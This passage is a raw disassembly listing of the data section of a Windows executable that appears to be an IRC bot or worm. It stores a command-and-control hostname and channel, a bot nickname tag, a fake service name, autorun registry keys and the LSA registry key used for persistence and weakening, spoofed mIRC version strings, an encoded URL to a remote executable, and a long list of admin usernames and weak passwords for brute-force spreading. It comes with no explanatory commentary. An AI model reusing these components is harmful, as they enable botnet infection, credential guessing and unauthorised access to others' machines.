%s',0Dh,0Ah db 0Dh,0Ah,0 align 10h dbl_427680 dq 1.388888888888889e-2 ; DATA XREF: sub_40D2DB+2Fr dbl_427688 dq 1.666666666666667e-1 ; DATA XREF: sub_40D2DB+15r dword_427690 dd 0FFFFFFFFh ; DATA XREF: sub_40D327+16Fr ; sub_40D765r ... align 8 dbl_427698 dq 1.333333333333333 ; DATA XREF: sub_40D327+79r dword_4276A0 dd 0 ; DATA XREF: sub_40D4C9+4Do ; sub_40D815+5Bo ... flt_4276A4 dd 5.0e-1 ; DATA XREF: ___:0040E71Cr dbl_4276A8 dq 9.765625e-4 ; DATA XREF: ___:00416A11r ; ___:00416A2Cr ... dbl_4276B0 dq -1.52587890625e-4 ; DATA XREF: sub_417E35+3E5r dbl_4276B8 dq 3.0517578125e-4 ; DATA XREF: sub_417E35+3C5r dbl_4276C0 dq -3.0517578125e-4 ; DATA XREF: sub_417E35+342r ; sub_417E35+3A7r dbl_4276C8 dq 1.52587890625e-4 ; DATA XREF: sub_417E35+271r dbl_4276D0 dq -1.739501953125e-3 ; DATA XREF: sub_417E35+24Br ; sub_417E35+2D5r ... dbl_4276D8 dq 3.11279296875e-3 ; DATA XREF: sub_417E35+E1r dbl_4276E0 dq 3.0517578125e-5 ; DATA XREF: sub_417E35+AEr ; sub_417E35+138r ... dbl_4276E8 dq 6.103515625e-5 ; DATA XREF: sub_417E35+93r ; sub_417E35+308r dbl_4276F0 dq 2.288818359375e-3 ; DATA XREF: sub_417E35+21r dbl_4276F8 dq -3.0517578125e-5 ; DATA XREF: sub_418B82+2Br flt_427700 dd 9.765625e-4 ; DATA XREF: sub_41A9BC+1AEr flt_427704 dd 8.0 ; DATA XREF: sub_41A9BC+1A8r ; sub_41F5D4+4Ar flt_427708 dd 0.0 ; DATA XREF: sub_41A9BC+16Fr flt_42770C dd 1.0e-3 ; DATA XREF: sub_41A9BC+166r dbl_427710 dq 1.0 ; DATA XREF: sub_41CDE5+6Cr ; sub_41CF2B+6Cr ... dd 0FFFFFFFFh, 41E1AAh, 41E1BEh byte_427724 db 6 ; DATA XREF: sub_41F5D4:loc_41F62Br db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: ___:off_43A89Co unicode 0, <(null)>,0 align 10h aNull_0 db '(null)',0 ; DATA XREF: ___:off_43A898o align 4 a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 10h aAtan2 db 'atan2',0 align 4 aAtan db 'atan',0 align 10h aAcos db 'acos',0 align 4 aAsin db 'asin',0 align 10h aTanh db 'tanh',0 align 4 aCosh db 'cosh',0 align 10h aSinh db 'sinh',0 align 4 aLog10 db 'log10',0 align 10h aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: ___:off_43AB14o dbl_427848 dq 0.0 ; DATA XREF: sub_421294+8Cr ; sub_421294+ACr ... dbl_427850 dq 4.195835e6 ; DATA XREF: sub_4217A9+Fr dbl_427858 dq 3.145727e6 ; DATA XREF: sub_4217A9+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4217E7+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_4217E7o align 4 aE000 db 'e+000',0 ; DATA XREF: sub_42190E+93o align 10h dword_427890 dd 0FFFFFFFFh, 421FF9h, 422003h, 0 ; DATA XREF: sub_421F92+5o dword_4278A0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4220C1+5o dd offset loc_42217F align 10h dd offset sub_42215D dd offset sub_422167 dword_4278B8 dd 0FFFFFFFFh, 4223AFh, 4223B3h, 0 ; DATA XREF: sub_4221F7+5o dword_4278C8 dd 0FFFFFFFFh, 422411h, 42241Ah, 0 ; DATA XREF: sub_4223BB+5o dword_4278D8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42249C+5o dd offset loc_4224ED align 8 dd offset loc_4224D9 dd offset loc_4224DD dword_4278F0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4224F2+5o dd offset loc_422543 align 10h dd offset loc_42252F dd offset loc_422533 dword_427908 dd 2 dup(0) ; DATA XREF: sub_4229D2+36o ; sub_423BF4+39o ... dword_427910 dd 0FFFFFFFFh, 422AE2h, 422AE6h, 0FFFFFFFFh, 422B96h, 422B9Ah ; DATA XREF: sub_4229D2+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 10h aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 10h aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 10h aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 10h aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 10h aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43ACECo db '- floating point not loaded',0Dh,0Ah,0 align 10h aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4234D1+119o align 4 asc_427BD8 db 0Ah ; DATA XREF: sub_4234D1+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4234D1+D3o db 0Ah db 'Program: ',0 align 4 a___ db '...',0 ; DATA XREF: sub_4234D1+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4234D1+7Do align 8 dword_427C18 dd 0FFFFFFFFh, 423CEDh, 423CF1h ; DATA XREF: sub_423BF4+5o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_4246FC+Ao align 4 aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_424C88+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_424C88+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_424C88+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_42559E:loc_425693o align 10h a1Inf db '1#INF',0 ; DATA XREF: sub_42559E+D8o align 4 a1Ind db '1#IND',0 ; DATA XREF: sub_42559E+C7o align 10h a1Snan db '1#SNAN',0 ; DATA XREF: sub_42559E+ADo align 4 dword_427CB8 dd 0FFFFFFFFh, 425F96h, 425F9Ah, 0FFFFFFFFh, 426005h, 426009h ; DATA XREF: sub_425DDF+5o dd 427DF4h ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] align 4 dd offset sub_4263B5 dd offset sub_4265D6 dd offset dword_427E40 off_427CE4 dd offset sub_42642C ; DATA XREF: sub_4263DE+3Ao ; sub_426448o ... dd offset sub_4263B5 dd offset loc_426612 dword_427CF0 dd 0 ; DATA XREF: sub_4263DE+16o ; sub_4264B0+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426453+11o dd offset dword_427E8C off_427D10 dd offset sub_42653B ; DATA XREF: sub_426557o ; sub_42657A+37o ... dd offset sub_4263B5 dd offset loc_4265F4 aStringTooLong db 'string too long',0 ; DATA XREF: sub_42657A+11o dd offset dword_427ED0 off_427D30 dd offset loc_426760 ; DATA XREF: sub_42674Bo ; ___:off_43B414o ... dd offset dword_427F00 off_427D38 dd offset loc_42677C ; DATA XREF: sub_426798+8o ; sub_4267D5+8o ... dd offset sub_426835 aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_426835+7o align 8 dword_427D58 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_426842+Eo dd 3, 19930520h, 2 dup(0) dword_427D78 dd 0FFFFFFFFh, 4269F3h, 4269F7h, 0FFFFFFFFh, 426A70h, 426A74h ; DATA XREF: sub_4268F1+5o dword_427D90 dd 0FFFFFFFFh, 426C68h, 426C6Ch, 0FFFFFFFFh, 426CC5h, 426CC9h ; DATA XREF: sub_426B7C+5o dd 43B414h, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_427DC0 dd offset off_43B42C ; DATA XREF: ___:00427DD8o ; ___:00427E24o ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427DC0 dd offset dword_427D90+18h dword_427DE0 dd 3 dup(0) ; DATA XREF: ___:00427E04o dd 2, 427DD8h, 3 dup(0) dd offset off_43B42C dd offset dword_427DE0+4 off_427E08 dd offset off_43B44C ; DATA XREF: ___:00427E20o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E08 dd offset off_427DC0 dd offset dword_427D90+18h dword_427E2C dd 3 dup(0) ; DATA XREF: ___:00427E50o dd 3, 427E20h dword_427E40 dd 3 dup(0) ; DATA XREF: ___:00427CE0o dd offset off_43B44C dd offset dword_427E2C+4 off_427E54 dd offset off_43B46C ; DATA XREF: ___:00427E6Co dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E54 dd offset off_427DC0 dd offset dword_427D90+18h dword_427E78 dd 3 dup(0) ; DATA XREF: ___:00427E9Co dd 3, 427E6Ch dword_427E8C dd 3 dup(0) ; DATA XREF: ___:00427D0Co dd offset off_43B46C dd offset dword_427E78+4 off_427EA0 dd offset off_43B490 ; DATA XREF: ___:00427EB8o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_427EA0 dword_427EBC dd 3 dup(0) ; DATA XREF: ___:00427EE0o dd 1, 427EB8h dword_427ED0 dd 3 dup(0) ; DATA XREF: ___:00427D2Co dd offset off_43B490 dd offset dword_427EBC+4 dd offset dword_427D90+18h dword_427EE8 dd 4 dup(0) ; DATA XREF: ___:00427F10o dd 1, 427EE4h dword_427F00 dd 3 dup(0) ; DATA XREF: ___:00427D34o dd offset off_43B414 dd offset dword_427EE8+8 align 8 dword_427F18 dd 19930520h, 2, 427F38h, 5 dup(0) ; DATA XREF: ___:loc_426D63o dd 0FFFFFFFFh, 426D4Ch, 0 dd offset sub_426D44 dword_427F48 dd 19930520h, 2, 427F68h, 5 dup(0) ; DATA XREF: ___:loc_426D80o dd 0FFFFFFFFh, 426D70h, 0 dd offset loc_426D78 dword_427F78 dd 19930520h, 2, 427F98h, 1, 427FA8h, 3 dup(0) ; DATA XREF: ___:loc_426D8Co dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 427FC0h, 4 dup(0) dd offset loc_40DA7F dd 0FFFFFFFFh, 426D96h dword_427FD8 dd 19930520h, 1, 427FD0h, 5 dup(0) ; DATA XREF: ___:loc_426D9Eo dd offset off_43B414 align 10h dd 0FFFFFFFFh, 0 dd 0Ch, 4267D5h, 0 dd offset off_43B42C dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 4264F8h, 0 dd offset off_43B44C align 8 dd 0FFFFFFFFh, 0 dword_428040 dd 1Ch, 426562h, 3, 42802Ch, 428010h, 427FF4h ; DATA XREF: ___:00428064o dword_428058 dd 0 ; DATA XREF: sub_426453+2Eo ; sub_4265D6+4Bo dd offset sub_426448 dd 0 dd offset dword_428040+8 dd 0FFFFFFFFh, 426DA8h dword_428070 dd 19930520h, 1, 428068h, 4 dup(0) ; DATA XREF: ___:loc_426DB0o dd 0FFFFFFFFh, 426DBAh dword_428094 dd 19930520h, 1, 42808Ch, 4 dup(0) ; DATA XREF: ___:loc_426DC2o dd 0FFFFFFFFh, 426DCCh dword_4280B8 dd 19930520h, 1, 4280B0h, 5 dup(0) ; DATA XREF: ___:loc_426DD4o dd offset off_43B46C align 10h dd 0FFFFFFFFh, 0 dword_4280E8 dd 1Ch, 4265BEh, 3, 4280D4h, 428010h, 427FF4h ; DATA XREF: ___:0042810Co dword_428100 dd 0 ; DATA XREF: sub_42657A+2Eo ; sub_4265D6+2Do dd offset sub_426557 dd 0 dd offset dword_4280E8+8 dd 0FFFFFFFFh, 426DDEh dword_428118 dd 19930520h, 1, 428110h, 4 dup(0) ; DATA XREF: ___:loc_426DE6o dword_428134 dd 2, 428010h, 427FF4h ; DATA XREF: ___:0042814Co dword_428140 dd 0 ; DATA XREF: sub_4265D6+Fo dd offset sub_42639A dd 0 dd offset dword_428134 dd 5 dup(629EB57Bh), 5 dup(16CDD812h), 5 dup(395C3B14h) dd 7Ah dup(0) dd 395C3B14h, 0 dd 629EB57Bh, 15h dup(0) dd 16CDD812h, 0Eh dup(0) dd 53524556h, 2E4E4F49h, 6C6C64h, 2F9h dup(0) dword_429000 dd 0 ; DATA XREF: ___:0041BF23o dd offset loc_401205 dd offset sub_40DB2D dd offset sub_40E283 dd offset dword_40EEEC+1D0h dword_429014 dd 0 ; DATA XREF: ___:0041BF1Eo dword_429018 dd 0 ; DATA XREF: ___:0041BF14o ; --------------------------------------------------------------------------- retn 41D7h ; --------------------------------------------------------------------------- align 10h dd offset sub_4201A2 dd offset sub_42383E dd offset word_424662 dword_42902C dd 0 ; DATA XREF: ___:loc_41BF0Fo dword_429030 dd 0 ; DATA XREF: sub_41BF53+65o dd offset sub_4238E3 dword_429038 dd 0 ; DATA XREF: sub_41BF53:loc_41BFB3o dword_42903C dd 0 ; DATA XREF: sub_41BF53+76o dd offset byte_424673 dword_429044 dd 3 dup(0) ; DATA XREF: sub_41BF53:loc_41BFC4o dword_429050 dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h ; DATA XREF: sub_401000+7o dword_429068 dd 6272h ; DATA XREF: sub_401000+63o ; sub_4010AB+Bo ... dword_42906C dd 1B58h ; DATA XREF: ___:004016BFr ; ___:00401754r dword_429070 dd 13FBh ; DATA XREF: ___:004017A0r dword_429074 dd 1A08h ; DATA XREF: sub_401AC7:loc_4045E2r dword_429078 dd 45h ; DATA XREF: sub_401AC7+201Er ; sub_40BD7C+3Br dword_42907C dd 1F90h ; DATA XREF: sub_401AC7:loc_403BD0r ; sub_40BD7C:loc_40C16Dr dword_429080 dd 201h ; DATA XREF: sub_401AC7:loc_403D5Cr word_429084 dw 7C7h ; DATA XREF: sub_401AC7:loc_404705r align 4 dword_429088 dd 1 ; DATA XREF: sub_401AC7+640r dword_42908C dd 1 ; DATA XREF: ___:loc_40155Fr ; sub_418857+Cr byte_429090 db 2Eh ; DATA XREF: sub_401AC7+A6Ar ; sub_401AC7+B23r ... align 4 dword_429094 dd 5 ; DATA XREF: sub_40AAA0+39r ; sub_40AAA0+5Fr ... dword_429098 dd 6 ; DATA XREF: sub_4017E7+78r ; sub_401AC7+27Cr ... dword_42909C dd 1 ; DATA XREF: sub_4017E7+72r ; sub_401AC7+276r a1221 db '1221',0 ; DATA XREF: ___:0040127Eo ; sub_401AC7:loc_40443Do ... align 4 aZxvsVrx db 'ZxVs VRX',0 ; DATA XREF: sub_401AC7:loc_40490Co align 4 aCool db 'cool',0 ; DATA XREF: sub_401AC7+7BD0o ; sub_401AC7+7C9Fo align 4 aSaber_ircqforu db 'saber.ircqforum.com',0 ; DATA XREF: ___:004016ABo ; ___:00401745o byte_4290D0 db 56h ; DATA XREF: sub_40194F+28r ; sub_40194F+30o db 72h, 58h, 0 dword_4290D4 dd 41414623h, 234Bh ; DATA XREF: ___:004016CBo ; ___:0040175Bo ... dword_4290DC dd 64616173h, 2Eh ; DATA XREF: ___:004016E2o ; ___:0040176Do byte_4290E4 db 73h ; DATA XREF: ___:loc_401783r ; ___:00401791o aAber_ircqforum db 'aber.ircqforum.com',0 aFaak db '#FAAK#',0 ; DATA XREF: ___:004017A7o align 10h aSaad_ db 'saad.',0 ; DATA XREF: ___:004017B9o align 4 byte_429108 db 6Dh ; DATA XREF: ___:00401361o ; ___:00401385w ... db 73h, 6Eh, 73h dd 2E737267h, 657865h, 6E6E6977h, 61622E74h, 74h aWindowsService db 'Windows Service Agent',0 ; DATA XREF: sub_401000+Eo align 4 aVrx db 'VrX|',0 align 10h aWinsys_dat db 'winsys.dat',0 align 4 aXI db '-x+i',0 ; DATA XREF: sub_401AC7+7D1Fo align 4 aF db '#f',0 ; DATA XREF: sub_401AC7+1E81o ; sub_401AC7+1E92o ... align 4 aF_0 db '#f',0 ; DATA XREF: sub_401AC7+72B0o ; sub_401AC7+7305o align 4 aF_1 db '#f',0 ; DATA XREF: sub_401AC7+40EEo ; sub_401AC7+423Bo align 10h off_429160 dd offset a@admin_com ; DATA XREF: sub_401AC7:loc_4096E1o ; "*@admin.com" off_429164 dd offset aMircV6_16Khale ; DATA XREF: sub_401AC7+89Er ; sub_401AC7+7C36o ; "mIRC v6.16 Khaled Mardam-Bey" dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey" dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey" dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 4 db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A367+28o ; sub_41A68B+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A367+D4o ; sub_41A68B+D4o align 4 dd 2 dup(1), 70747468h, 772F2F3Ah, 662E7777h, 77656572h dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h dd 652E6D79h, 6578h, 42993Ch, 42992Ch, 42991Ch, 429910h dd 429908h, 429900h, 4298F8h, 4298F0h, 4298E4h, 4298DCh dd 4298D4h, 4298CCh, 4298C0h, 4298B8h, 4298B0h, 4298A4h dd 4298A0h, 429898h, 429894h, 0 dd offset byte_43B4B8 dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aPassword1 ; "password1" dd offset aPassword ; "password" dd offset aPasswd ; "passwd" dd offset aPass1234 ; "pass1234" dd offset aPass ; "pass" dd offset aPwd ; "pwd" dd offset a007 ; "007" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a1234567890 ; "1234567890" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2004 ; "2004" dd offset aTest ; "test" dd offset aGuest_0 ; "guest" dd offset aNone ; "none" dd offset aDemo ; "demo" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault ; "default" dd offset aSystem ; "system" dd offset aServer ; "server" dd offset aRoot ; "root" dd offset aNull_1 ; "null" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aLogin ; "login" dd offset aLoginpass ; "loginpass" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aExchange ; "exchange" dd offset aFuck ; "fuck" dd offset aBitch ; "bitch" dd offset aSlut ; "slut" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aDomain ; "domain" dd offset aDomainpass ; "domainpass" dd offset aDomainpassword ; "domainpassword" dd offset aDatabase ; "database" dd offset aAccess ; "access" dd offset aDbpass ; "dbpass" dd offset aDbpassword ; "dbpassword" dd offset aDatabasepass ; "databasepass" dd offset aData ; "data" dd offset aDatabasepasswo ; "databasepassword" dd offset aDb1 ; "db1" dd offset aDb2 ; "db2" dd offset aDb1234 ; "db1234" dd offset aSa ; "sa" dd offset aSql ; "sql" dd offset aSqlpassoainsta ; "sqlpassoainstall" dd offset aOrainstall ; "orainstall" dd offset aOracle ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco ; "cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aHp ; "hp" dd offset aNokia ; "nokia" dd offset aXp ; "xp" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aBlank ; "blank" dd offset aWinpass ; "winpass" dd offset aMain ; "main" dd offset aLan ; "lan" dd offset aInternet ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" align 10h dword_4294D0 dd 10h ; DATA XREF: sub_401AC7+AD3r ; sub_401AC7+AFFr ... aIntranet db 'intranet',0 ; DATA XREF: ___:004294BCo align 10h aLan db 'lan',0 ; DATA XREF: ___:004294B4o aMain db 'main',0 ; DATA XREF: ___:004294B0o align 4 aWinpass db 'winpass',0 ; DATA XREF: ___:004294ACo aBlank db 'blank',0 ; DATA XREF: ___:004294A8o align 4 aOffice db 'office',0 ; DATA XREF: ___:004294A4o align 4 aControl db 'control',0 ; DATA XREF: ___:004294A0o aXp db 'xp',0 ; DATA XREF: ___:0042949Co align 10h aNokia db 'nokia',0 ; DATA XREF: ___:00429498o align 4 aHp db 'hp',0 ; DATA XREF: ___:00429494o align 4 aSiemens db 'siemens',0 ; DATA XREF: ___:00429490o aCompaq db 'compaq',0 ; DATA XREF: ___:0042948Co align 4 aDell db 'dell',0 ; DATA XREF: ___:00429488o align 4 aCisco db 'cisco',0 ; DATA XREF: ___:00429484o align 4 aIbm db 'ibm',0 ; DATA XREF: ___:00429480o aOrainstall db 'orainstall',0 ; DATA XREF: ___:00429478o align 4 aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: ___:00429474o align 10h aSql db 'sql',0 ; DATA XREF: ___:00429470o aSa db 'sa',0 ; DATA XREF: ___:0042946Co align 4 aDb1234 db 'db1234',0 ; DATA XREF: ___:00429468o align 10h aDb1 db 'db1',0 ; DATA XREF: ___:00429460o aDatabasepasswo db 'databasepassword',0 ; DATA XREF: ___:0042945Co align 4 aData db 'data',0 ; DATA XREF: ___:00429458o align 10h aDatabasepass db 'databasepass',0 ; DATA XREF: ___:00429454o align 10h aDbpassword db 'dbpassword',0 ; DATA XREF: ___:00429450o align 4 aDbpass db 'dbpass',0 ; DATA XREF: ___:0042944Co align 4 aAccess db 'access',0 ; DATA XREF: ___:00429448o align 4 aDomainpassword db 'domainpassword',0 ; DATA XREF: ___:00429440o align 4 aDomainpass db 'domainpass',0 ; DATA XREF: ___:0042943Co align 4 aDomain db 'domain',0 ; DATA XREF: ___:00429438o align 10h aHello db 'hello',0 ; DATA XREF: ___:00429434o align 4 aHell db 'hell',0 ; DATA XREF: ___:00429430o align 10h aGod db 'god',0 ; DATA XREF: ___:0042942Co aSex db 'sex',0 ; DATA XREF: ___:00429428o aSlut db 'slut',0 ; DATA XREF: ___:00429424o align 10h aBitch db 'bitch',0 ; DATA XREF: ___:00429420o align 4 aFuck db 'fuck',0 ; DATA XREF: ___:0042941Co align 10h aExchange db 'exchange',0 ; DATA XREF: ___:00429418o align 4 aBackup db 'backup',0 ; DATA XREF: ___:00429414o align 4 aTechnical db 'technical',0 ; DATA XREF: ___:00429410o align 10h aLoginpass db 'loginpass',0 ; DATA XREF: ___:0042940Co align 4 aLogin db 'login',0 ; DATA XREF: ___:00429408o align 4 aMary db 'mary',0 ; DATA XREF: ___:00429404o align 4 aKatie db 'katie',0 ; DATA XREF: ___:00429400o align 4 aKate db 'kate',0 ; DATA XREF: ___:004293F8o align 4 aGeorge db 'george',0 ; DATA XREF: ___:004293F4o align 4 aEric db 'eric',0 ; DATA XREF: ___:004293F0o align 4 aChris db 'chris',0 ; DATA XREF: ___:004293ECo align 4 aIan db 'ian',0 ; DATA XREF: ___:004293E8o aNeil db 'neil',0 ; DATA XREF: ___:004293E4o align 10h aLee db 'lee',0 ; DATA XREF: ___:004293E0o aBrian db 'brian',0 ; DATA XREF: ___:004293DCo align 4 aSusan db 'susan',0 ; DATA XREF: ___:004293D4o align 4 aSue db 'sue',0 ; DATA XREF: ___:004293D0o aSam db 'sam',0 ; DATA XREF: ___:004293CCo aLuke db 'luke',0 ; DATA XREF: ___:004293C8o align 4 aPeter db 'peter',0 ; DATA XREF: ___:004293C4o ; ___:004293D8o align 4 aJohn db 'john',0 ; DATA XREF: ___:004293C0o align 4 aMike db 'mike',0 ; DATA XREF: ___:004293BCo align 4 aBill db 'bill',0 ; DATA XREF: ___:004293B8o align 4 aFred db 'fred',0 ; DATA XREF: ___:004293B4o align 4 aJoe db 'joe',0 ; DATA XREF: ___:004293B0o aJen db 'jen',0 ; DATA XREF: ___:004293ACo aBob db 'bob',0 ; DATA XREF: ___:004293A8o ; ___:004293FCo aQwe db 'qwe',0 ; DATA XREF: ___:004293A4o aZxc db 'zxc',0 ; DATA XREF: ___:004293A0o aAsd db 'asd',0 ; DATA XREF: ___:0042939Co aQaz db 'qaz',0 ; DATA XREF: ___:00429398o aWin2000 db 'win2000',0 ; DATA XREF: ___:00429394o aWinnt db 'winnt',0 ; DATA XREF: ___:00429390o align 4 aWinxp db 'winxp',0 ; DATA XREF: ___:0042938Co align 10h aWin2k db 'win2k',0 ; DATA XREF: ___:00429388o align 4 aWin98 db 'win98',0 ; DATA XREF: ___:00429384o align 10h aWindows db 'windows',0 ; DATA XREF: ___:00429380o aOeminstall db 'oeminstall',0 ; DATA XREF: ___:0042937Co align 4 aOemuser db 'oemuser',0 ; DATA XREF: ___:00429378o aOem db 'oem',0 ; DATA XREF: ___:00429374o aUser db 'user',0 ; DATA XREF: sub_401AC7+45F2o ; ___:00429370o align 4 aHomeuser db 'homeuser',0 ; DATA XREF: ___:0042936Co align 4 aHome db 'home',0 ; DATA XREF: ___:00429368o align 4 aAccounting db 'accounting',0 ; DATA XREF: ___:00429364o align 4 aAccounts db 'accounts',0 ; DATA XREF: ___:00429360o align 4 aInternet db 'internet',0 ; DATA XREF: ___:0042935Co ; ___:004294B8o align 10h aWww db 'www',0 ; DATA XREF: ___:00429358o aWeb db 'web',0 ; DATA XREF: sub_401AC7+727Fo ; ___:00429354o aOutlook db 'outlook',0 ; DATA XREF: ___:00429350o aMail db 'mail',0 ; DATA XREF: ___:0042934Co align 4 aQwerty db 'qwerty',0 ; DATA XREF: ___:00429348o align 10h aNull_1 db 'null',0 ; DATA XREF: ___:00429344o align 4 aServer db 'server',0 ; DATA XREF: sub_401AC7+3E8Fo ; ___:0042933Co align 10h aSystem db 'system',0 ; DATA XREF: ___:00429338o align 4 aChangeme db 'changeme',0 ; DATA XREF: ___:00429330o align 4 aLinux db 'linux',0 ; DATA XREF: ___:0042932Co align 4 aUnix db 'unix',0 ; DATA XREF: ___:00429328o align 4 aDemo db 'demo',0 ; DATA XREF: ___:00429324o align 4 aNone db 'none',0 ; DATA XREF: ___:00429320o align 4 aTest db 'test',0 ; DATA XREF: ___:00429318o align 4 a2004 db '2004',0 ; DATA XREF: ___:00429314o align 